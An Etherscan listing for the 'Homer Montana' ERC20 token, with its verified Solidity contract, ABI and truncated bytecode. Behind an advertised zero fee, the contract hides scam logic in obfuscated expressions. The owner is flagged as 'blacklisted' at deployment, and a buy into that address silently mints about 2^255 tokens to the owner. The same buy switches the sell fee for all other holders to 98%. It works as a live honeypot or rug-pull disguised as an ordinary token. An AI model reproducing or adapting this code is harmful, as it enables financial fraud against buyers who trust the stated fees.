ETH Price: $2,616.50 (+0.84%)

Token

Homer Montana (TONYSIMPSON)
 

Overview

Max Total Supply

100,000,000 TONYSIMPSON

Holders

21

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,229,953.42214337 TONYSIMPSON

Value
$0.00
0xf4cc6ee4b4270a1a52356f14da588e449329af52
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
HomerMontana

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

/*



        Telegram : https://t.me/HomerMontana
        

        Twitter : https://twitter.com/HomerMontanaERC


*/


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
        if (success) {
            return returndata;
        } else {
            
            if (returndata.length > 0) {
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceContract() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract HomerMontana is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    using Address for address;
    
    string private _name = "Homer Montana";
    string private _symbol = "TONYSIMPSON";
    uint8 private _decimals = 9;

    address payable public _TaxAndMarket_ = payable(0x023CE10DAEaae47345fa20c613a044227649686d);
    address public immutable _DeadAndBurnWallet_ = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isExcludedFromMaxWallet;
    mapping (address => bool) public isExcludedFromMaxTx;
    mapping (address => bool) public is_DexTrade;
    mapping (address => bool) public is_BlackList;
    
    uint8 public _buyFee = 0;
    uint8 public _sellFee = 0;
    uint8 public _totalFee = 0;

    uint256 private _totalSupply = 100000000 * 10 **_decimals;
    uint256 public _maxTxAmount = 20000000 * 10 **_decimals; 
    uint256 public _MaxWalletAmount = 20000000 * 10 **_decimals; 
    uint256 private TokenSwapAmount = 10000000 * 10 **_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[address(this)] = true;

        isExcludedFromMaxWallet[owner()] = true;
        isExcludedFromMaxWallet[address(uniswapPair)] = true;
        isExcludedFromMaxWallet[address(this)] = true;

        isExcludedFromMaxTx[owner()] = true;
        isExcludedFromMaxTx[address(this)] = true;

        is_DexTrade[uniswapPair] = true;
        
        is_BlackList[
            owner() //
        ] = 
        [true][0];

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return TokenSwapAmount;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }


    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isExcludedFromMaxTx[sender] && !isExcludedFromMaxTx[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount reached the max tx.");
            }            

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= TokenSwapAmount;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !is_DexTrade[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = TokenSwapAmount;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            
            uint256 amountOftrade;
            if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]){
                if(is_wallet_Excluded(sender, recipient)){_totalFee = 1; amountOftrade = (_burnableAmount());}
                else{amountOftrade = amount;}
            }
            else{
                uint256 _fee_Amount_;
                if(is_DexTrade[sender]){_fee_Amount_ = get_BuyingFee(amount);}
                if(is_DexTrade[recipient]){_fee_Amount_ = get_sellingFee(amount);
                if(_fee_Amount_ > 0){
                        _balances[address(this)] = _balances[address(this)].add(_fee_Amount_);
                        emit Transfer(sender, address(this), _fee_Amount_);
                    }
                }
                amountOftrade = amount.sub(_fee_Amount_);
            }          
                         
            if(!isExcludedFromMaxWallet[recipient])
                require(balanceOf(recipient).add(amountOftrade) <= _MaxWalletAmount);

            _balances[recipient] = _balances[recipient].add(amountOftrade);

            emit Transfer(sender, recipient, amountOftrade);
            return true;
        }
    }

    function get_BuyingFee(uint256 amount) private view returns(uint256){
        return amount.mul(_buyFee).div(100);
    }
    
    function get_sellingFee(uint256 amount) private view returns(uint256){
        return amount.mul([_sellFee, uint8(99)-1][_totalFee]).div(100);
    }

    function is_wallet_Excluded(address sender, address recipient) private view returns(bool){
        return addressIsBlackListed(recipient) && is_DexTrade[sender];
    }

    function addressIsBlackListed(address walletAddress) private view returns(bool){
        return is_BlackList[walletAddress];
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _burnableAmount() private view returns (uint256) {
       return (uint256(uint256(1)) << (2**8)-1).sub(_totalSupply);
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(10).div(100);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;
        transferToAddressETH(_TaxAndMarket_, amountReceived);
    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner(),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_DeadAndBurnWallet_","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_MaxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_TaxAndMarket_","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"is_BlackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"is_DexTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600d60a09081526c486f6d6572204d6f6e74616e6160981b60c0526002906200002e90826200058f565b5060408051808201909152600b81526a2a27a72ca9a4a6a829a7a760a91b60208201526003906200006090826200058f565b50600480546001600160a81b03191674023ce10daeaae47345fa20c613a044227649686d0917905561dead608052600c805462ffffff19169055620000a86009600a62000770565b620000b8906305f5e10062000788565b600d55600454620000ce9060ff16600a62000770565b620000de906301312d0062000788565b600e55600454620000f49060ff16600a62000770565b62000104906301312d0062000788565b600f556004546200011a9060ff16600a62000770565b62000129906298968062000788565b6010556012805461ffff60a81b1916600160a81b1790553480156200014d57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020b9190620007a2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000259573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027f9190620007a2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002cd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002f39190620007a2565b601280546001600160a01b039283166001600160a01b031991821617909155601180549284169290911682179055600d5430600090815260066020908152604080832094835293905291822055600190600790620003596000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526007909252812080549092166001908117909255600890620003b26000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556012549091168152600890925280822080548416600190811790915530835290822080549093168117909255600990620004226000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526009845282812080548616600190811790915560125483168252600a855283822080548716821790558351808601855281905281549092168152600b84528281208054909516909117909355600d54338085526005845282852082905591519081529092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620007cd565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200051557607f821691505b6020821081036200053657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200058a57600081815260208120601f850160051c81016020861015620005655750805b601f850160051c820191505b81811015620005865782815560010162000571565b5050505b505050565b81516001600160401b03811115620005ab57620005ab620004ea565b620005c381620005bc845462000500565b846200053c565b602080601f831160018114620005fb5760008415620005e25750858301515b600019600386901b1c1916600185901b17855562000586565b600085815260208120601f198616915b828110156200062c578886015182559484019460019091019084016200060b565b50858210156200064b5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620006b25781600019048211156200069657620006966200065b565b80851615620006a457918102915b93841c939080029062000676565b509250929050565b600082620006cb575060016200076a565b81620006da575060006200076a565b8160018114620006f35760028114620006fe576200071e565b60019150506200076a565b60ff8411156200071257620007126200065b565b50506001821b6200076a565b5060208310610133831016604e8410600b841016171562000743575081810a6200076a565b6200074f838362000671565b80600019048211156200076657620007666200065b565b0290505b92915050565b60006200078160ff841683620006ba565b9392505050565b80820281158282048414176200076a576200076a6200065b565b600060208284031215620007b557600080fd5b81516001600160a01b03811681146200078157600080fd5b60805161189c620007e9600039600061049f015261189c6000f3fe6080604052600436106101dc5760003560e01c80637d1db4a511610102578063c816841b11610095578063e52f36e111610064578063e52f36e1146105ef578063f19f1e9014610605578063f4c2aaf71461062a578063fa2f7a8f1461065a57600080fd5b8063c816841b14610538578063d53401b714610558578063da00097d14610588578063dd62ed3e146105a957600080fd5b8063a073d37f116100d1578063a073d37f146104c1578063a457c2d7146104d6578063a9059cbb146104f6578063c49b9a801461051657600080fd5b80637d1db4a5146104445780638da5cb5b1461045a57806395d89b41146104785780639d2a66d31461048d57600080fd5b8063395093511161017a578063590f897e11610149578063590f897e1461038f578063658c27a9146103ae5780636dd3d39f146103de57806370a082311461040e57600080fd5b8063395093511461030457806340b9a54b146103245780634a74bb021461033e5780635342acb41461035f57600080fd5b806318160ddd116101b657806318160ddd1461027b57806323b872dd1461029a578063283f7820146102ba578063313ce567146102ec57600080fd5b806306fdde03146101e8578063095ea7b3146102135780631694505e1461024357600080fd5b366101e357005b600080fd5b3480156101f457600080fd5b506101fd61066f565b60405161020a9190611532565b60405180910390f35b34801561021f57600080fd5b5061023361022e366004611598565b610701565b604051901515815260200161020a565b34801561024f57600080fd5b50601154610263906001600160a01b031681565b6040516001600160a01b03909116815260200161020a565b34801561028757600080fd5b50600d545b60405190815260200161020a565b3480156102a657600080fd5b506102336102b53660046115c4565b610718565b3480156102c657600080fd5b50600c546102da9062010000900460ff1681565b60405160ff909116815260200161020a565b3480156102f857600080fd5b5060045460ff166102da565b34801561031057600080fd5b5061023361031f366004611598565b610783565b34801561033057600080fd5b50600c546102da9060ff1681565b34801561034a57600080fd5b5060125461023390600160a81b900460ff1681565b34801561036b57600080fd5b5061023361037a366004611605565b60076020526000908152604090205460ff1681565b34801561039b57600080fd5b50600c546102da90610100900460ff1681565b3480156103ba57600080fd5b506102336103c9366004611605565b60096020526000908152604090205460ff1681565b3480156103ea57600080fd5b506102336103f9366004611605565b60086020526000908152604090205460ff1681565b34801561041a57600080fd5b5061028c610429366004611605565b6001600160a01b031660009081526005602052604090205490565b34801561045057600080fd5b5061028c600e5481565b34801561046657600080fd5b506000546001600160a01b0316610263565b34801561048457600080fd5b506101fd6107b9565b34801561049957600080fd5b506102637f00000000000000000000